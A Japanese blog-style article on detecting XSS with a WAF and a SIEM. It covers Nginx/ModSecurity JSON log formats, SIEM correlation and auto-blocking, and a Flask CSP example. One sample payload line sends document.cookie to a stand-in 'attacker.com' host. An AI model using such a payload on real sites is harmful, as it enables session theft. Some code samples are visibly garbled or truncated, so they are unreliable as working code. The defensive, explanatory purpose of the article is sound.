XSSは「防ぐ」だけでなく「狩る」ものだ:WAFとSIEMで構築する攻撃検知の最前線
「XSSなんて今さら教えることあるか?」と思うかもしれない。確かに、htmlspecialchars()やDOMPurifyを正しく使えば脆弱性は防げる。しかし、現実はどうだ? 複雑なSPA、サードパーティ製ライブラリ、そして開発者のうっかりミス。脆弱性は必ず生まれるものという前提で動くのが、我々セキュリティエンジニアの矜持だ。
今日は、単に「弾く」だけじゃない。「攻撃者の意図をログから読み解き、先回りしてインシデントを封じ込める」ための、現場の知見を詰め込んだ戦略を共有する。
—
1. 攻撃者が狙う盲点:なぜWAF単体では不十分なのか
WAFは強力な盾だが、所詮は「シグネチャベース」の門番だ。最新の難読化されたペイロードや、DOMベースの巧妙なスクリプトインジェクションは、すり抜けることが往々にしてある。
例えば、こんな反射型XSSのPoCを想像してほしい。
// 攻撃者の意図:クエリパラメータからcookieを盗む
// 難読化例:Base64エンコードやString.fromCharCodeを使った回避
fetch(‘https://attacker.com/log?c=’ + document.cookie);
WAFで「」という文字列をブロックしても、HTML属性への注入や、JavaScriptの動的生成を伴う攻撃には無力だ。だからこそ、WAFで検知した「怪しい兆候」をSIEM(Security Information and Event Management)に流し込み、相関分析する必要がある。
---
2. 現場で使えるログ設計:SIEM連携の肝
WAFのログをSIEMへ流す際、単に「HTTPステータス403」だけを見ていてはダメだ。攻撃者が「何回、どのパラメータを、どんな速度で叩いているか」を可視化しなければならない。
Nginx + ModSecurity (WAF) でのログ拡張設定
Nginxのログフォーマットを調整し、WAFの検知IDと攻撃ペイロードを確実に抽出できるようにしておく。
nginx.conf のログフォーマット設定 log_format json_log escape=json '{' '"time":"$time_iso8601",' '"remote_addr":"$remote_addr",' '"request_uri":"$request_uri",' '"waf_rule_id":"$modsec_rule_id",' # WAFが検知したルールID '"waf_msg":"$modsec_msg",' # 攻撃の特定ルールメッセージ '"request_body":"$request_body"' # POSTデータのキャプチャ(機密情報はマスクすること) '}';
このログをFluentdやLogstash経由でSIEM(SplunkやElastic Stack)へ飛ばし、「同一IPから1分間に10回以上のXSSシグネチャ検知があった場合、即座に当該IPをファイアウォールでブロックする」という自動化フローを組む。これが現場での「泥臭い防衛」だ。
---
3. 「防ぐ」ための鉄則:セキュアな実装サンプル
ログで追跡するのと同時に、アプリケーション側も盤石にしておく必要がある。特に、最近のモダン開発で見落とされがちな「コンテキストに応じた出力」が重要だ。
Python (Flask) での安全な出力実装
テンプレートエンジン(Jinja2)を使う場合、基本は自動エスケープされるが、明示的に制御する姿勢が重要だ。
from flask import Flask, render_template_string import markupsafe
app = Flask(__name__)
@app.route('/profile') def profile(): user_input = ""
# 鉄則1: テンプレート側でエスケープを強制する
# Jinja2はデフォルトでエスケープするが、意図しないrawフィルタ使用は厳禁
# 鉄則2: CSP (Content Security Policy) ヘッダーの付与
return render_template_string("
", user_input=user_input)
@app.after_request
def add_security_headers(response):
# CSPヘッダー:インラインスクリプトの実行を原則禁止する
response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self';"
return response
---
4. セキュリティチーフからの「教訓」
最後に、一つだけ覚えて帰ってほしい。
「ログは嘘をつかないが、攻撃者はログを読まれることを想定して動く」ということだ。
- 誤検知(False Positive)を恐れるな: 厳しすぎるWAFルールは開発の邪魔になるが、過剰なチューニングで穴を開けるよりはマシだ。
- 「相関」を見ろ: 単発の攻撃はノイズかもしれない。しかし、WAFで弾いた直後に管理者ログイン画面へのアクセスが急増しているなら、それは「偵察」だ。SIEMを使って、それらのイベントを結びつけるアラート設定を今すぐ見直せ。
セキュリティは「ツールを導入して終わり」ではない。「検知して、分析して、自動で遮断する」というサイクルを、日々の運用コードの中に埋め込むこと。それが、我々エンジニアが守るべきシステムの安全性だ。
不明点があればいつでも相談してくれ。手を動かす前に、まずはそのログを確認するところから始めよう。
コメント